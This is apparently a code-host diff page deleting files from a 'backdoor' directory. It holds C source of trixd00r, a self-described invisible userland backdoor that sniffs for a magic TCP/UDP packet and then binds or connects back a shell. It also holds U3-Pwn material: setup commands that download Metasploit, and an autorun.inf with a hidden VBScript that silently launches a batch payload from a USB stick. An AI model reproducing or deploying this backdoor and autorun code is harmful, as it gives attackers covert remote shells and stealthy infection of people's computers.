{
unsigned char i = 0;
const char *descr[_NUM_PKT_TYPES] = {
TCP_SYN_TYPE, TCP_ACK_TYPE, TCP_RST_TYPE, TCP_PSH_TYPE, TCP_URG_TYPE,
TCP_FIN_TYPE, UDP_TYPE
};
printf("[+] "BLUE"available protocol and packet types"NORM"\n");
for (i = 0; i < _NUM_PKT_TYPES; i++) {
printf("--- %u [%s]\n", i, descr[i]);
}
return;
}
/* is host allowed to connect? (default IS) */
static void is_allowed_host(packet_t *packet)
{
struct hostent *p = NULL;
/* if allowed host is DEF_HOST, then we do not need to call gethostbyname()
* and we use directly the packet's source ip address (any host is allowed
* to use trixd00rd) */
if (strncmp(packet->allowed_host, DEF_HOST, strlen(DEF_HOST)) != 0) {
p = gethostbyname(packet->allowed_host);
xinet_ntop(AF_INET, p->h_addr_list[0], packet->dst_host,
sizeof(packet->src_host));
} else {
xinet_ntop(AF_INET, &packet->ip->src.s_addr, packet->dst_host,
sizeof(packet->dst_host));
}
xinet_ntop(AF_INET, &packet->ip->src.s_addr, packet->src_host,
sizeof(packet->dst_host));
return;
}
/* is it our magic packet or not? */
static unsigned char is_magic_packet(packet_t *packet)
{
/* if option was used, check if host is allowed to connect */
is_allowed_host(packet);
/* if set payload equals sniffed payload, then we got magic packet */
if (strcmp((const char *) packet->src_host, packet->dst_host) == 0) {
if (strcmp(packet->m_payload, packet->s_payload) == 0) {
if (packet->ip->ip_p == IPPROTO_TCP) {
switch (packet->type) {
case _TCP_SYN_TYPE:
if (packet->tcp->th_flags & TH_SYN) {
return IS_MAGIC_PACKET;
}
break;
case _TCP_ACK_TYPE:
if (packet->tcp->th_flags & TH_ACK) {
return IS_MAGIC_PACKET;
}
break;
case _TCP_RST_TYPE:
if (packet->tcp->th_flags & TH_RST) {
return IS_MAGIC_PACKET;
}
break;
case _TCP_PSH_TYPE:
if (packet->tcp->th_flags & TH_PUSH) {
return IS_MAGIC_PACKET;
}
break;
case _TCP_URG_TYPE:
if (packet->tcp->th_flags & TH_URG) {
return IS_MAGIC_PACKET;
}
break;
case _TCP_FIN_TYPE:
if (packet->tcp->th_flags & TH_FIN) {
return IS_MAGIC_PACKET;
}
break;
}
} else if (packet->ip->ip_p == IPPROTO_UDP) {
switch (packet->type) {
case _UDP_TYPE:
return IS_MAGIC_PACKET;
break;
}
}
} else if (strcmp(packet->b_payload, packet->s_payload) == 0) {
return IS_BYEBYE_PACKET;
}
}
return IS_NOT_MAGIC_PACKET;
}
/* define payload */
static void define_payload(packet_t *packet, unsigned int size)
{
packet->s_payload = (char *) (packet->bytes + SIZE_ETHERNET +
packet->size_ip + size);
return;
}
/* define udp header and size */
static unsigned int define_udphdr(packet_t *packet)
{
packet->udp = (udp_t *) (packet->bytes + SIZE_ETHERNET + packet->size_ip);
packet->size_udp = 8;
return packet->size_udp;
}
/* define tcp header and size */
static unsigned int define_tcphdr(packet_t *packet)
{
packet->tcp = (tcp_t *) (packet->bytes + SIZE_ETHERNET + packet->size_ip);
packet->size_tcp = TH_OFF(packet->tcp) * 4;
return packet->size_tcp;
}
/* define ip header and size */
static void define_iphdr(packet_t *packet)
{
packet->ip = (ip_t *) (packet->bytes + SIZE_ETHERNET);
packet->size_ip = IP_HL(packet->ip) * 4;
return;
}
/* detemerine and define protocols (headers and size) */
static void define_packet(packet_t *packet)
{
int size = 0; /* header size */
/* we need always ip header */
define_iphdr(packet);
/* determine protocol */
switch (packet->ip->ip_p) {
case IPPROTO_TCP:
size = define_tcphdr(packet);
break;
case IPPROTO_UDP:
size = define_udphdr(packet);
break;
case IPPROTO_ICMP:
/* todo */
break;
}
/* we need always payload */
define_payload(packet, size);
return;
}
/* define any headers, test for magic packet and open shell or break the loop */
static void got_packet(unsigned char *args, const struct pcap_pkthdr *header,
const unsigned char *bytes)
{
unsigned char magic = 0;
ctrl_t *ctrl = (ctrl_t *) args;
sniffer_t *sniffer = (sniffer_t *) ctrl->sniffer;
packet_t *packet = (packet_t *) ctrl->packet;
/* ignore this */
header = NULL;
packet->bytes = bytes;
/* define packet and check for magic packet */
define_packet(packet);
magic = is_magic_packet(packet);
/* either shell or bye bye */
if (magic == IS_MAGIC_PACKET) {
__VERBOSE_MAGIC;
open_shell(ctrl);
} else if (magic == IS_BYEBYE_PACKET) {
__VERBOSE_BYEBYE;
pcap_breakloop(sniffer->handle);
}
return;
}
/* sniff magic packet */
unsigned char watch_packet(ctrl_t *ctrl)
{
unsigned char *args = (unsigned char *) ctrl;
sniffer_t *sniffer = (sniffer_t *) ctrl->sniffer;
/* watch packet and take desired actions as long as we don't hit
* pcap_breakloop() - this indicates, that we got a IS_BYEBYE_PACKET, so we
* have to clean, free any memory and exit */
if (pcap_loop(sniffer->handle, -1, got_packet, args) == -2) {
return IS_BYEBYE_PACKET;
}
return IS_NOT_MAGIC_PACKET;
}
/* prepare sniffer, all needed by pcap */
void prepare_sniffer(ctrl_t *ctrl)
{
sniffer_t *sniffer = (sniffer_t *) ctrl->sniffer;
xpcap_lookupnet(sniffer->iface, &sniffer->net, &sniffer->mask);
sniffer->handle = xpcap_open_live(sniffer->iface, BUFSIZ, 0, 1000);
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/trixd00rd.c
-125
View File
@@ -1,125 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/trixd00rd.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "trixd00rd.h"
#include "checks.h"
#include "controller.h"
#include "help.h"
#include "verbose.h"
#include "wrapper.h"
#include <getopt.h>
/* let's go... */
int main(int argc, char *argv[])
{
int c = 0;
ctrl_t *ctrl = NULL;
/* banner is very important */
banner();
check_argc(argc);
ctrl = alloc_structs();
ctrl = set_ctrl_defaults(ctrl);
while ((c = getopt(argc, argv, "i:t:p:s:b:a:c:z:dnxvVH")) != -1) {
switch (c) {
case 'i':
check_uid(ctrl);
ctrl->sniffer->iface = optarg;
break;
case 't':
check_pkt_type(ctrl, optarg);
ctrl->packet->type = ATOI(optarg);
break;
case 'p':
ctrl->packet->m_payload = optarg;
break;
case 's':
check_shell_mode(ctrl, optarg);
ctrl->shell->mode = (unsigned char) ATOI(optarg);
break;
case 'b':
check_port(ctrl, ATOI(optarg));
ctrl->shell->port = ATOI(optarg);
break;
case 'a':
check_host(optarg);
ctrl->packet->allowed_host = convert_host(optarg);
break;
case 'c':
check_host(optarg);
ctrl->shell->host = convert_host(optarg);
break;
case 'z':
ctrl->packet->b_payload = optarg;
break;
case 'd':
ctrl->daemon = DAEMON;
break;
case 'n':
ctrl->shell->banner = BANNER_OFF;
break;
case 'x':
ctrl->ssl = SSL;
break;
case 'v':
ctrl->verbose = VERBOSE;
break;
case 'V':
puts(VERSION);
__EXIT_SUCCESS;
break;
case 'H':
usage();
__EXIT_SUCCESS;
break;
default:
__EXIT_FAILURE;
}
}
/* quick checks of arguments and values */
__VERBOSE_ARGS;
check_args(ctrl);
/* install signal handlers here */
install_signals();
/* whole action starts here my darling */
start_trixd00rd(ctrl);
return 0;
}
/* EOF */
backdoor/trixd00r/source/server/src/wrapper.c
-357
View File
@@ -1,357 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/wrapper.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "wrapper.h"
#include "error.h"
#include <errno.h>
/* NOTHING TO SAY ABOUT WRAPPER FUNCTIONS; READ THE RELEVANT MANPAGES */
void *xmalloc(size_t size)
{
void *buff;
if ((buff = malloc(size)) == NULL) {
print_error(ERR_GEN);
}
return buff;
}
void *xmemset(void *s, int c, size_t n)
{
if (!(s = memset(s, c, n))) {
print_error(ERR_GEN);
}
return s;
}
void *xmemcpy(void *dest, const void *src, size_t n)
{
dest = memcpy(dest, src, n);
if (dest == NULL) {
print_error(ERR_GEN);
}
return dest;
}
void *alloc_buff(unsigned int size)
{
void *buff = NULL;
buff = xmalloc(size);
buff = xmemset(buff, 0x00, size);
return buff;
}
void xclose(int fd)
{
int x = 0;
x = close(fd);
if (x != 0) {
print_error(ERR_CLOSE);
}
return;
}
int xdup2(int oldfd, int newfd)
{
if (dup2(oldfd, newfd) != -1) {
return newfd;
} else {
print_error(ERR_GEN);
}
return -1;
}
void xselect(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds,
struct timeval *timeout)
{
int x = 0;
x = select(nfds, readfds, writefds, exceptfds, timeout);
if (x == -1) {
print_error(ERR_GEN);
}
return;
}
void xpipe(int *pipefd)
{
int x = 0;
x = pipe(pipefd);
if (x < 0) {
print_error(ERR_GEN);
}
return;
}
struct hostent *xgethostbyname(const char *name)
{
struct hostent *hp;
if ((hp = gethostbyname(name)) == NULL) {
print_error(ERR_HOST);
}
return hp;
}
int xsocket(int domain, int type, int protocol)
{
int sockfd = 0;
sockfd = socket(domain, type, protocol);
if (sockfd == -1) {
print_error(ERR_NET);
}
return sockfd;
}
void xconnect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
int x = 0;
x = connect(sockfd, addr, addrlen);
if (x < 0) {
print_error(ERR_NET);
}
return;
}
void xsendto(int sockfd, const void *buf, size_t len, int flags,
const struct sockaddr *dst, socklen_t addrlen)
{
ssize_t x = 0;
x = sendto(sockfd, buf, len, flags, dst, addrlen);
if (x == -1) {
print_error(ERR_NET);
}
return;
}
ssize_t xrecvfrom(int sockfd, void *buf, size_t len, int flags,
struct sockaddr *src, socklen_t *addrlen)
{
ssize_t nreceived = 0;
char *p = buf;
while (len > 0) {
nreceived = recvfrom(sockfd, p, len, flags, src, addrlen);
if (nreceived < 0 && errno == EINTR) {
continue;
}
if (nreceived <= 0) {
break;
}
len -= nreceived;
p += nreceived;
}
*p = 0x00;
return nreceived;
}
void xsetsockopt(int sockfd, int level, int optname, const void *optval,
socklen_t optlen)
{
int x = 0;
x = setsockopt(sockfd, level, optname, optval, optlen);
if (x != 0) {
print_error(ERR_NET);
}
return;
}
void xinet_ntop(int af, const void *src, char *dst, socklen_t len)
{
const char *p = NULL;
p = inet_ntop(af, src, dst, len);
if (p == NULL) {
print_error(ERR_NET);
}
return;
}
void xbind(int sockfd, const struct sockaddr *addr, socklen_t len)
{
int x = 0;
x = bind(sockfd, addr, len);
if (x != 0) {
print_error(ERR_NET);
}
return;
}
void xlisten(int sockfd, int backlog)
{
int x = 0;
x = listen(sockfd, backlog);
if (x != 0) {
x = 1;
print_error(ERR_NET);
}
return;
}
int xaccept(int sockfd, struct sockaddr *addr, socklen_t *len)
{
int x = 0;
x = accept(sockfd, addr, len);
if (x < 0) {
x = 1;
print_error(ERR_NET);
}
return x;
}
void xpcap_lookupnet(const char *dev, bpf_u_int32 *net, bpf_u_int32 *mask)
{
char errbuff[PCAP_ERRBUF_SIZE];
int x = 0;
x = pcap_lookupnet(dev, net, mask, errbuff);
if (x < 0) {
print_error(ERR_PCAP_LOOKUPNET);
}
return;
}
pcap_t *xpcap_open_live(const char *dev, int snaplen, int promisc, int to_ms)
{
char errbuff[PCAP_ERRBUF_SIZE];
pcap_t *handle = NULL;
handle = pcap_open_live(dev, snaplen, promisc, to_ms, errbuff);
if (handle == NULL) {
print_error(ERR_PCAP_OPEN);
}
return handle;
}
char *convert_host(char *host)
{
static char buff[128];
struct hostent *hp = NULL;
hp = xgethostbyname(host);
if (hp != NULL) {
host = (char *) inet_ntop(AF_INET, hp->h_addr_list[0], buff, sizeof(buff));
}
if (host == NULL) {
print_error(ERR_NET);
}
return host;
}
/* EOF */
backdoor/u3-pwn/source/Required
-56
View File
@@ -1,56 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# U3-Pwn #
# #
# DATE #
# 10/05/2013 #
# #
# DESCRIPTION #
# U3-Pwn is a tool designed to automate injecting executables to Sandisk #
# smart usb devices with default U3 software install. This is performed by #
# removing the original iso file from the device and creating a new iso #
# with autorun features. #
# #
# REQUREMENTS #
# - Metasploit #
# - U3-Tool #
# - Python-2.7 #
# #
# AUTHOR #
# Zy0d0x - http://www.nullsecurity.net/ #
# #
################################################################################
Ubuntu:
apt-get install u3-tool
x32
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run
ln -s /bin/mkisofs /bin/genisoimage
x64
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
chmod 755 metasploit-latest-linux-x64-installer.run
./metasploit-latest-linux-x64-installer.run
ln -s /bin/mkisofs /bin/genisoimage
Kali Linux
apt-get update && apt-get -y install genisoimage
backdoor/u3-pwn/source/backup/LaunchU3.exe
BIN
View File
Binary file not shown.
backdoor/u3-pwn/source/backup/origU3/U3 System.iso
BIN
View File
Binary file not shown.
backdoor/u3-pwn/source/backup/shellcodeexec.exe
BIN
View File
Binary file not shown.
backdoor/u3-pwn/source/resource/Icon.ico
BIN
View File
Binary file not shown.
Side by Side

Before

Width:  |  Height:  |  Size: 22 KiB

backdoor/u3-pwn/source/resource/autorun.inf
-5
View File
@@ -1,5 +0,0 @@
[AutoRun]
open=wscript.exe hidden.vbs LaunchU3.bat
icon=icon.ico
action=Run U3 Launchpad
backdoor/u3-pwn/source/resource/hidden.vbs
-4
View File
@@ -1,4 +0,0 @@
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "LaunchU3.bat" & Chr(34), 0
Set WshShell = Nothing

Some files were not shown because too many files have changed in this diff Show More